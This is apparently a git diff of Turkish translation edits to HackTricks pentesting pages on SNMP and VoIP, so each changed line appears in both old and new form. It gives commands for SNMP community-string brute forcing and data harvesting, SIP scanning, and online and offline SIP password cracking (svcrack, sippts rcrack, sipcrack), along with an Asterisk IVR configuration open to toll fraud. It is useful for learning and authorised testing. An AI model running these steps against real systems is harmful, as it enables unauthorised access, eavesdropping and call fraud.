Sonraki sayı dizisine geçelim.
|
||||
Sonraki sayı grubuna geçelim.
|
||||
|
||||
- 1452 – bu cihazı üreten organizasyonun adını verir.
|
||||
- 1 – cihazın türünü açıklar. Bu durumda, bir alarm saatidir.
|
||||
- 2 – bu cihazın uzaktan terminal birimi olduğunu belirler.
|
||||
|
||||
Geri kalan değerler, cihaza özgü bilgileri verir.
|
||||
Diğer değerler, cihaza özgü bilgileri verir.
|
||||
|
||||
- 5 – belirli bir alarm noktasını belirtir.
|
||||
- 1 – cihazdaki belirli nokta
|
||||
- 5 – ayrık bir alarm noktasını belirtir.
|
||||
- 1 – cihazdaki belirli bir nokta
|
||||
- 3 – port
|
||||
- 21 – portun adresi
|
||||
- 1 – port için gösterim
|
||||
@ -68,10 +68,10 @@ Geri kalan değerler, cihaza özgü bilgileri verir.
|
||||
|
||||
SNMP'nin 2 önemli sürümü vardır:
|
||||
|
||||
- **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye** (topluluk dizesi) dayanır ve **düz metin** içinde iletilir (tüm bilgiler düz metin içinde iletilir). **Sürüm 2 ve 2c** de **düz metin** içinde trafik gönderir ve **kimlik doğrulama olarak bir topluluk dizesi kullanır**.
|
||||
- **SNMPv1**: Ana sürüm, hala en yaygın olanıdır, **kimlik doğrulama bir dizeye** (topluluk dizesi) dayanır ve **düz metin** içinde iletilir (tüm bilgiler düz metin içinde iletilir). **Sürüm 2 ve 2c** de **trafiği düz metin** içinde gönderir ve **kimlik doğrulama olarak bir topluluk dizesi kullanır**.
|
||||
- **SNMPv3**: Daha iyi bir **kimlik doğrulama** biçimi kullanır ve bilgiler **şifreli** olarak iletilir (bir **sözlük saldırısı** gerçekleştirilebilir ancak SNMPv1 ve v2'ye göre doğru kimlik bilgilerini bulmak çok daha zor olacaktır).
|
||||
|
||||
### Topluluk Düzleri
|
||||
### Topluluk Düzeyleri
|
||||
|
||||
Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürüm 1 ve 2/2c'de topluluk dizesini, sürüm 3'te ise kimlik bilgilerini bilmeniz gerekir.**\
|
||||
**2 tür topluluk dizesi** vardır:
|
||||
@ -79,22 +79,22 @@ Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürü
|
||||
- **`public`** esasen **sadece okuma** işlevleri
|
||||
- **`private`** **Okuma/Yazma** genel olarak
|
||||
|
||||
**Bir OID'nin yazılabilirliği, kullanılan topluluk dizesine bağlıdır**, bu nedenle **"public"** kullanıldığını bulsanız bile, bazı değerleri **yazma** yeteneğine sahip olabilirsiniz. Ayrıca, her zaman **"Sadece Okuma"** olan nesneler de **mevcut olabilir**.\
|
||||
Bir nesneye **yazmaya** çalıştığınızda, **`noSuchName` veya `readOnly` hatası** alınır\*\*.\*\*
|
||||
Bir OID'nin yazılabilirliğinin, kullanılan topluluk dizesine bağlı olduğunu unutmayın, bu nedenle **"public"** kullanıldığını bulsanız bile bazı değerleri **yazma** yeteneğine sahip olabilirsiniz. Ayrıca, her zaman **"Sadece Okuma"** olan nesneler de **mevcut olabilir**.\
|
||||
Bir nesneye **yazmaya** çalıştığınızda **`noSuchName` veya `readOnly` hatası** alınır.
|
||||
|
||||
Sürüm 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız, sunucu **yanıt vermez**. Yani, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**.
|
||||
Sürümler 1 ve 2/2c'de **kötü** bir topluluk dizesi kullanırsanız, sunucu **yanıt vermez**. Yani, yanıt verirse, **geçerli bir topluluk dizesi kullanılmıştır**.
|
||||
|
||||
## Portlar
|
||||
|
||||
[Wikipedia'dan](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
|
||||
|
||||
- SNMP ajanı, UDP portu **161** üzerinde istekleri alır.
|
||||
- Yönetici, bildirimleri ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) ve [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) portu **162** üzerinde alır.
|
||||
- [Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Transport_Layer_Security) veya [Datagram Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) ile kullanıldığında, istekler portu **10161** üzerinde alınır ve bildirimler portu **10162**'ye gönderilir.
|
||||
- Yönetici, port **162** üzerinde bildirimleri ( [Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) ve [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) alır.
|
||||
- [Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Transport_Layer_Security) veya [Datagram Taşıma Katmanı Güvenliği](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) ile kullanıldığında, istekler port **10161** üzerinde alınır ve bildirimler port **10162**'ye gönderilir.
|
||||
|
||||
## Brute-Force Topluluk Dizesi (v1 ve v2c)
|
||||
|
||||
**Topluluk dizesini tahmin etmek için** bir sözlük saldırısı gerçekleştirebilirsiniz. SNMP'ye karşı bir brute-force saldırısı gerçekleştirmenin [farklı yollarını buradan kontrol edin](../../generic-hacking/brute-force.md#snmp). Sık kullanılan bir topluluk dizesi `public`'dir.
|
||||
**Topluluk dizesini tahmin etmek** için bir sözlük saldırısı gerçekleştirebilirsiniz. SNMP'ye karşı bir brute-force saldırısı gerçekleştirmenin [farklı yollarını buradan kontrol edin](../../generic-hacking/brute-force.md#snmp). Sık kullanılan bir topluluk dizesi `public`'dir.
|
||||
|
||||
## SNMP'yi Sıralama
|
||||
|
||||
@ -164,7 +164,7 @@ cisco-snmp.md
|
||||
|
||||
## SNMP'den RCE'ye
|
||||
|
||||
Eğer SNMP hizmeti içinde **değerler yazmanıza** izin veren **dizeye** sahipseniz, bunu **komutları çalıştırmak** için kötüye kullanabilirsiniz:
|
||||
Eğer SNMP hizmeti içinde **değerler yazmanıza** izin veren bir **dize** varsa, bunu **komutları çalıştırmak** için kötüye kullanabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
snmp-rce.md
|
||||
@ -172,7 +172,7 @@ snmp-rce.md
|
||||
|
||||
## **Kapsamlı SNMP**
|
||||
|
||||
[Braa](https://github.com/mteg/braa), toplu bir SNMP tarayıcısıdır. Bu tür bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır – ancak net-snmp'den snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
|
||||
[Braa](https://github.com/mteg/braa), toplu bir SNMP tarayıcısıdır. Bu tür bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır – ancak net-snmp'deki snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
|
||||
|
||||
Braa, KENDİ snmp yığınına sahiptir, bu nedenle net-snmp gibi herhangi bir SNMP kütüphanesine ihtiyaç duymaz.
|
||||
|
||||
@ -180,19 +180,19 @@ Braa, KENDİ snmp yığınına sahiptir, bu nedenle net-snmp gibi herhangi bir S
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
Bu, manuel olarak işleyemeyeceğiniz çok miktarda bilgi çıkarabilir.
|
||||
Bu, manuel olarak işleyemeyeceğiniz çok fazla MB bilgi çıkarabilir.
|
||||
|
||||
Şimdi en ilginç bilgilere bakalım (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
Şimdi en ilginç bilgileri arayalım (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
|
||||
### **Cihazlar**
|
||||
|
||||
Süreç, cihazları tanımlamak için her dosyadan **sysDesc MIB verisinin** (1.3.6.1.2.1.1.1.0) çıkarılmasıyla başlar. Bu, bir **grep komutu** kullanılarak gerçekleştirilir:
|
||||
Süreç, cihazları tanımlamak için her dosyadan **sysDesc MIB verisi** (1.3.6.1.2.1.1.1.0) çıkarılmasıyla başlar. Bu, bir **grep komutu** kullanılarak gerçekleştirilir:
|
||||
```bash
|
||||
grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **Özel Dizeyi Belirleme**
|
||||
|
||||
Kritik bir adım, özellikle Cisco IOS yönlendiricilerinde, organizasyonlar tarafından kullanılan **özel topluluk dizesini** belirlemeyi içerir. Bu dize, yönlendiricilerden **çalışan yapılandırmaları** çıkarmayı sağlar. Belirleme genellikle "trap" kelimesini içeren SNMP Trap verilerini analiz etmeye dayanır ve bu işlem için bir **grep komutu** kullanılır:
|
||||
Kritik bir adım, özellikle Cisco IOS yönlendiricilerinde, organizasyonlar tarafından kullanılan **özel topluluk dizesini** belirlemeyi içerir. Bu dize, yönlendiricilerden **çalışan yapılandırmaları** çıkarmayı sağlar. Belirleme genellikle "trap" kelimesini içeren SNMP Trap verilerini analiz etmeye dayanır ve bir **grep komutu** kullanılır:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
@ -212,9 +212,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
|
||||
Değerleri değiştirmek için _**NetScanTools**_ kullanabilirsiniz. Bunu yapmak için **özel dizeyi** bilmeniz gerekecek.
|
||||
|
||||
## Sahte IP Kullanma
|
||||
## Spoofing
|
||||
|
||||
Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL varsa, UDP paketinin içinde bu adreslerden birini sahteleyebilir ve trafiği dinleyebilirsiniz.
|
||||
Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL varsa, UDP paketinin içine bu adreslerden birini sahteleyebilir ve trafiği dinleyebilirsiniz.
|
||||
|
||||
## SNMP Konfigürasyon Dosyalarını İnceleme
|
||||
|
||||
@ -222,7 +222,6 @@ Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL
|
||||
- snmpd.conf
|
||||
- snmp-config.xml
|
||||
|
||||
|
||||
## HackTricks Otomatik Komutlar
|
||||
```
|
||||
Protocol_Name: SNMP #Protocol Abbreviation if there is one.
|
||||
|
||||
@ -142,7 +142,7 @@ Telefon numaralarına sahip olduğunuzda, operatörü tanımlamak için çevrimi
|
||||
|
||||
Operatörün VoIP hizmetleri sunup sunmadığını bilmek, şirketin VoIP kullanıp kullanmadığını belirlemenizi sağlar... Ayrıca, şirketin VoIP hizmetleri kiralamamış olabileceği, ancak kendi VoIP PBX'ini geleneksel telefon ağına bağlamak için PSTN kartları kullandığı da mümkündür.
|
||||
|
||||
Müzik gibi otomatik yanıtlar, genellikle VoIP kullanıldığını gösterir.
|
||||
Otomatik müzik yanıtları gibi şeyler genellikle VoIP kullanıldığını gösterir.
|
||||
|
||||
### Google Dorks
|
||||
```bash
|
||||
@ -178,21 +178,21 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
|
||||
```
|
||||
### OSINT bilgileri
|
||||
|
||||
VoIP yazılımını tanımlamaya yardımcı olan diğer OSINT sayımları, Kırmızı Takım için faydalı olacaktır.
|
||||
VoIP yazılımını tanımlamaya yardımcı olan diğer herhangi bir OSINT sayımı, Kırmızı Takım için faydalı olacaktır.
|
||||
|
||||
### Ağ Sayımı
|
||||
|
||||
- **`nmap`**, UDP hizmetlerini tarama yeteneğine sahiptir, ancak taranan UDP hizmetlerinin sayısı nedeniyle çok yavaştır ve bu tür hizmetlerle çok doğru olmayabilir.
|
||||
- **`nmap`** UDP hizmetlerini tarama yeteneğine sahiptir, ancak taranan UDP hizmetlerinin sayısı nedeniyle çok yavaştır ve bu tür hizmetlerle çok doğru olmayabilir.
|
||||
```bash
|
||||
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
||||
```
|
||||
- **`svmap`** SIPVicious'tan (`sudo apt install sipvicious`): Belirtilen ağda SIP hizmetlerini bulacaktır.
|
||||
- `svmap` **engellemesi kolaydır** çünkü User-Agent `friendly-scanner` kullanır, ancak `/usr/share/sipvicious/sipvicious` dosyasındaki kodu değiştirebilir ve bunu değiştirebilirsiniz.
|
||||
- `svmap` **engellemesi kolaydır** çünkü User-Agent `friendly-scanner` kullanır, ancak `/usr/share/sipvicious/sipvicious` dosyasındaki kodu değiştirebilirsiniz.
|
||||
```bash
|
||||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
```
|
||||
- **`SIPPTS taraması`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Bir port aralığını kolayca belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntemi kullanmaya (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir User-Agent belirtmeye (ve daha fazlasına) olanak tanır.
|
||||
- **`SIPPTS taraması`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS taraması, UDP, TCP veya TLS üzerinden SIP hizmetleri için çok hızlı bir tarayıcıdır. Çoklu iş parçacığı kullanır ve geniş ağ aralıklarını tarayabilir. Bir port aralığını kolayca belirtmeye, hem TCP hem de UDP'yi taramaya, başka bir yöntem kullanmaya (varsayılan olarak OPTIONS kullanacaktır) ve farklı bir User-Agent belirtmeye (ve daha fazlasına) olanak tanır.
|
||||
```bash
|
||||
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
|
||||
@ -208,7 +208,7 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
||||
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
||||
```
|
||||
#### Ekstra Ağ Enumere Etme
|
||||
#### Ekstra Ağ Enumerasyonu
|
||||
|
||||
PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarıyor olabilir:
|
||||
|
||||
@ -221,9 +221,9 @@ PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarıyor o
|
||||
- **5432 (PostgreSQL)**: PostgreSQL veritabanı
|
||||
- Ve diğerleri...
|
||||
|
||||
### Yöntemler Enumere Etme
|
||||
### Yöntemler Enumerasyonu
|
||||
|
||||
PBX'te kullanılabilir **yöntemleri bulmak** için `SIPPTS enumerate` komutunu kullanarak [**sippts**](https://github.com/Pepelux/sippts) ile mümkündür.
|
||||
PBX'te kullanılabilir **yöntemleri bulmak** için `SIPPTS enumerate` komutunu [**sippts**](https://github.com/Pepelux/sippts) kullanarak bulmak mümkündür.
|
||||
```bash
|
||||
sippts enumerate -i 10.10.0.10
|
||||
```
|
||||
@ -237,7 +237,7 @@ Sunucu websockets kullanıyorsa veri elde etmek de mümkündür. [**sippts**](ht
|
||||
```bash
|
||||
sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
||||
```
|
||||
### Extension Enumeration
|
||||
### Uzantı Sayımı
|
||||
|
||||
PBX (Özel Santral) sistemindeki uzantılar, bir organizasyon veya işletme içindeki **bireysel** telefon hatlarına, cihazlara veya kullanıcılara atanan **benzersiz iç tanımlayıcılardır**. Uzantılar, her kullanıcı veya cihaz için bireysel dış telefon numaralarına ihtiyaç duymadan, **organizasyon içinde çağrıları verimli bir şekilde yönlendirmeyi** mümkün kılar.
|
||||
|
||||
@ -263,19 +263,19 @@ enumiax -v -m3 -M3 10.10.0.10
|
||||
|
||||
### Şifre Kaba Kuvvet - çevrimiçi
|
||||
|
||||
**PBX** ve bazı **uzantılar/kullanıcı adları** keşfedildikten sonra, bir Kırmızı Takım, bir uzantıya **`REGISTER` yöntemi** ile kimlik doğrulamayı denemek için yaygın şifrelerin bir sözlüğünü kullanarak kimlik doğrulamayı kaba kuvvetle kırmaya çalışabilir.
|
||||
**PBX** ve bazı **uzantılar/kullanıcı adları** keşfedildikten sonra, bir Kırmızı Takım, yaygın şifrelerin bulunduğu bir sözlük kullanarak kimlik doğrulamasını kaba kuvvetle denemek için bir uzantıya **`REGISTER` yöntemi** ile **kimlik doğrulaması yapmayı** deneyebilir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Bir **kullanıcı adı** uzantıyla aynı olabilir, ancak bu uygulama PBX sistemine, yapılandırmasına ve organizasyonun tercihlerine bağlı olarak değişebilir...
|
||||
>
|
||||
> Kullanıcı adı uzantıyla aynı değilse, **kaba kuvvetle kırmak için kullanıcı adını bulmanız gerekecek**.
|
||||
> Kullanıcı adı uzantıyla aynı değilse, **kaba kuvvetle denemek için kullanıcı adını bulmanız gerekecek**.
|
||||
|
||||
- **`svcrack`** SIPVicious'tan (`sudo apt install sipvicious`): SVCrack, bir PBX'teki belirli bir kullanıcı adı/uzantı için şifreyi kırmanıza olanak tanır.
|
||||
- **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack, bir PBX'teki belirli bir kullanıcı adı/uzantı için şifreyi kırmanıza olanak tanır.
|
||||
```bash
|
||||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||
```
|
||||
- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack, SIP hizmetleri için uzaktan bir şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birkaç kullanıcı için şifreleri test edebilir.
|
||||
- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack, SIP hizmetleri için uzaktan bir şifre kırıcıdır. Rcrack, farklı IP'lerde ve port aralıklarında birden fazla kullanıcı için şifreleri test edebilir.
|
||||
```bash
|
||||
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||
```
|
||||
@ -285,11 +285,11 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||
|
||||
### VoIP Sniffing
|
||||
|
||||
Eğer bir **Açık Wifi ağı** içinde VoIP ekipmanı bulursanız, **tüm bilgileri dinleyebilirsiniz**. Dahası, daha kapalı bir ağda (Ethernet üzerinden bağlı veya korumalı Wifi) iseniz, **PBX ile ağ geçidi** arasında **MitM saldırıları** gerçekleştirebilir ve bilgileri dinleyebilirsiniz.
|
||||
Eğer bir **Açık Wifi ağı** içinde VoIP ekipmanı bulursanız, **tüm bilgileri dinleyebilirsiniz**. Dahası, daha kapalı bir ağda (Ethernet üzerinden veya korumalı Wifi ile bağlı) iseniz, **PBX ile geçit arasında** bilgi dinlemek için **MitM saldırıları** gerçekleştirebilirsiniz, örneğin [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing).
|
||||
|
||||
Ağ bilgileri arasında, ekipmanı yönetmek için **web kimlik bilgileri**, kullanıcı **uzantıları**, **kullanıcı adı**, **IP** adresleri, hatta **hashlenmiş şifreler** ve **RTP paketleri** bulabilirsiniz; bu paketleri yeniden üreterek **konuşmayı duyabilirsiniz** ve daha fazlası.
|
||||
Ağ bilgileri arasında, ekipmanı yönetmek için **web kimlik bilgileri**, kullanıcı **uzantıları**, **kullanıcı adı**, **IP** adresleri, hatta **hashlenmiş şifreler** ve **RTP paketleri** bulabilirsiniz; bu paketleri **konuşmayı duymak için** yeniden üretebilirsiniz ve daha fazlası.
|
||||
|
||||
Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz... ancak VoIP konuşmalarını dinlemek için **özel olarak oluşturulmuş bir araç** [**ucsniff**](https://github.com/Seabreg/ucsniff) dir.
|
||||
Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz... ancak VoIP konuşmalarını dinlemek için **özel olarak oluşturulmuş bir araç** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
|
||||
> [!CAUTION]
|
||||
> **SIP iletişiminde TLS kullanılıyorsa**, SIP iletişimini açık olarak göremeyeceğinizi unutmayın.\
|
||||
@ -297,9 +297,9 @@ Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz
|
||||
|
||||
#### SIP kimlik bilgileri (Şifre Kaba Kuvvet - çevrimdışı)
|
||||
|
||||
**Kimlik bilgileri nasıl gönderiliyor** öğrenmek için [**SIP REGISTER iletişimini**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) daha iyi anlamak için bu örneği kontrol edin.
|
||||
[**SIP REGISTER iletişimini** daha iyi anlamak için bu örneği kontrol edin](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) ve **kimlik bilgileri nasıl gönderiliyor** öğrenin.
|
||||
|
||||
- **`sipdump`** & **`sipcrack`,** **sipcrack**'in bir parçası (`apt-get install sipcrack`): Bu araçlar, SIP protokolü içindeki **digest kimlik doğrulamalarını** **çıkartabilir** ve **kaba kuvvet** ile kırabilir.
|
||||
- **`sipdump`** & **`sipcrack`,** **sipcrack**'in bir parçası (`apt-get install sipcrack`): Bu araçlar, SIP protokolü içindeki **digest kimlik doğrulamalarını** bir **pcap**'den **çıkarabilir** ve **kaba kuvvet** ile çözebilir.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
@ -330,7 +330,7 @@ Asterisk'te **belirli bir IP adresinden** veya **herhangi bir IP adresinden** bi
|
||||
host=10.10.10.10
|
||||
host=dynamic
|
||||
```
|
||||
Eğer bir IP adresi belirtilmişse, host **her zaman REGISTER** istekleri göndermeye ihtiyaç duymayacaktır (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Ancak, VoIP sunucusundan çağrı almak için açık portlara sahip olması gerekecektir.
|
||||
Eğer bir IP adresi belirtilmişse, host **her zaman REGISTER** istekleri göndermeye ihtiyaç duymayacaktır (REGISTER paketinde genellikle 30 dakika olan yaşam süresi belirtilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Ancak, VoIP sunucusundan çağrı almak için açık portlara sahip olması gerekecektir.
|
||||
|
||||
Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler:
|
||||
|
||||
@ -338,14 +338,14 @@ Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler:
|
||||
- **`type=friend`**: Peer olarak çağrı yapabilir ve kullanıcı olarak alabilir (uzantılarla kullanılır)
|
||||
- **`type=peer`**: Peer olarak çağrı gönderebilir ve alabilir (SIP-trunklar)
|
||||
|
||||
Güvensiz değişken ile güven oluşturmak da mümkündür:
|
||||
Ayrıca, insecure değişkeni ile güven oluşturmak da mümkündür:
|
||||
|
||||
- **`insecure=port`**: IP tarafından doğrulanan peer bağlantılarına izin verir.
|
||||
- **`insecure=invite`**: INVITE mesajları için kimlik doğrulaması gerektirmez
|
||||
- **`insecure=invite`**: INVITE mesajları için kimlik doğrulama gerektirmez
|
||||
- **`insecure=port,invite`**: Her ikisi de
|
||||
|
||||
> [!WARNING]
|
||||
> **`type=friend`** kullanıldığında, **host** değişkeninin **değeri** **kullanılmayacaktır**, bu nedenle bir yönetici **bu değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa**, **herkes buna bağlanabilecektir**.
|
||||
> **`type=friend`** kullanıldığında, **host** değişkeninin **değeri** **kullanılmayacaktır**, bu nedenle bir admin **bu değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa**, **herkes buna bağlanabilecektir**.
|
||||
>
|
||||
> Örneğin, bu yapılandırma savunmasız olacaktır:\
|
||||
> `host=10.10.10.10`\
|
||||
@ -354,13 +354,13 @@ Güvensiz değişken ile güven oluşturmak da mümkündür:
|
||||
|
||||
### Ücretsiz Çağrılar / Asterisk Bağlamı Yanlış Yapılandırmaları
|
||||
|
||||
Asterisk'te bir **bağlam**, **ilişkili uzantıları, eylemleri ve kuralları** bir araya getiren adlandırılmış bir konteyner veya bölümdür. Arama planı, Asterisk sisteminin temel bileşenidir, çünkü **gelen ve giden çağrıların nasıl işlendiğini ve yönlendirildiğini tanımlar**. Bağlamlar, arama planını düzenlemek, erişim kontrolünü yönetmek ve sistemin farklı bölümleri arasında ayrım sağlamak için kullanılır.
|
||||
Asterisk'te bir **bağlam**, arama planında **ilişkili uzantıları, eylemleri ve kuralları gruplandıran** adlandırılmış bir konteyner veya bölümdür. Arama planı, Asterisk sisteminin temel bileşenidir, çünkü **gelen ve giden çağrıların nasıl işlendiğini ve yönlendirildiğini tanımlar**. Bağlamlar, arama planını düzenlemek, erişim kontrolünü yönetmek ve sistemin farklı bölümleri arasında ayrım sağlamak için kullanılır.
|
||||
|
||||
Her bağlam, genellikle **`extensions.conf`** dosyasında yapılandırma dosyasında tanımlanır. Bağlamlar, köşeli parantezlerle belirtilir ve bağlam adı bunların içinde yer alır. Örneğin:
|
||||
Her bağlam, genellikle **`extensions.conf`** dosyasında yapılandırma dosyasında tanımlanır. Bağlamlar köşeli parantezlerle gösterilir ve bağlam adı bunların içinde yer alır. Örneğin:
|
||||
```bash
|
||||
csharpCopy code[my_context]
|
||||
```
|
||||
İçerik içinde, uzantıları (çevrilen numaraların kalıpları) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler, çağrının nasıl işleneceğini belirler. Örneğin:
|
||||
Bağlam içinde, uzantıları (çevrilen numaraların kalıpları) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler, çağrının nasıl işleneceğini belirler. Örneğin:
|
||||
```scss
|
||||
[my_context]
|
||||
exten => 100,1,Answer()
|
||||
@ -398,17 +398,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
|
||||
```
|
||||
### Ücretsiz aramalar / Yanlış yapılandırılmış IVRS
|
||||
|
||||
IVRS, **Etkileşimli Sesli Yanıt Sistemi** anlamına gelir; kullanıcıların ses veya tuşlama girdileri aracılığıyla bilgisayarlı bir sistemle etkileşimde bulunmalarını sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girdilerini yakalama gibi çeşitli işlevler sunan **otomatik çağrı yönetimi** sistemleri oluşturmak için kullanılır.
|
||||
IVRS, **Etkileşimli Sesli Yanıt Sistemi** anlamına gelir; kullanıcıların ses veya tuşlama girdileri aracılığıyla bilgisayarla etkileşimde bulunmalarını sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girdilerini yakalama gibi çeşitli işlevler sunan **otomatik çağrı yönetimi** sistemleri oluşturmak için kullanılır.
|
||||
|
||||
VoIP sistemlerinde IVRS genellikle şunlardan oluşur:
|
||||
|
||||
1. **Sesli istemler**: Kullanıcıları IVR menü seçenekleri ve talimatları aracılığıyla yönlendiren önceden kaydedilmiş sesli mesajlar.
|
||||
2. **DTMF** (Çift Tonlu Çok Frekanslı) sinyalleme: Telefon tuşlarına basarak üretilen tuşlama girdileri, IVR menülerinde gezinmek ve girdi sağlamak için kullanılır.
|
||||
3. **Çağrı yönlendirme**: Çağrıları kullanıcı girdisine dayalı olarak belirli departmanlara, temsilcilere veya dahili numaralara yönlendirme.
|
||||
4. **Kullanıcı girişi yakalama**: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.
|
||||
4. **Kullanıcı girdi yakalama**: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.
|
||||
5. **Dış sistemlerle entegrasyon**: IVR sistemini veritabanları veya diğer yazılım sistemleriyle bağlayarak bilgiye erişim sağlama, güncelleme yapma, eylemler gerçekleştirme veya olayları tetikleme.
|
||||
|
||||
Asterisk VoIP sisteminde, bir IVR oluşturmak için arama planını (**`extensions.conf`** dosyası) ve `Background()`, `Playback()`, `Read()` gibi çeşitli uygulamaları kullanabilirsiniz. Bu uygulamalar, sesli istemleri çalmanıza, kullanıcı girdilerini yakalamanıza ve çağrı akışını kontrol etmenize yardımcı olur.
|
||||
Asterisk VoIP sisteminde, **`extensions.conf`** dosyasını ve `Background()`, `Playback()`, `Read()` gibi çeşitli uygulamaları kullanarak bir IVR oluşturabilirsiniz. Bu uygulamalar, sesli istemleri çalmanıza, kullanıcı girdilerini yakalamanıza ve çağrı akışını kontrol etmenize yardımcı olur.
|
||||
|
||||
#### Güvenlik açığına sahip yapılandırma örneği
|
||||
```scss
|
||||
@ -419,39 +419,39 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
||||
exten => 0,104,Dial(LOCAL/${numbers})
|
||||
```
|
||||
Önceki, kullanıcının **bir departmanı aramak için 1'e basması**, **başka birini aramak için 2'ye basması** veya biliyorsa **tam uzantıyı** girmesi istendiği bir örnektir.\
|
||||
Açık, belirtilen **uzantı uzunluğunun kontrol edilmemesi, bu nedenle bir kullanıcının 5 saniyelik zaman aşımını tam bir numara olarak girebilmesi ve arama yapılabilmesidir.**
|
||||
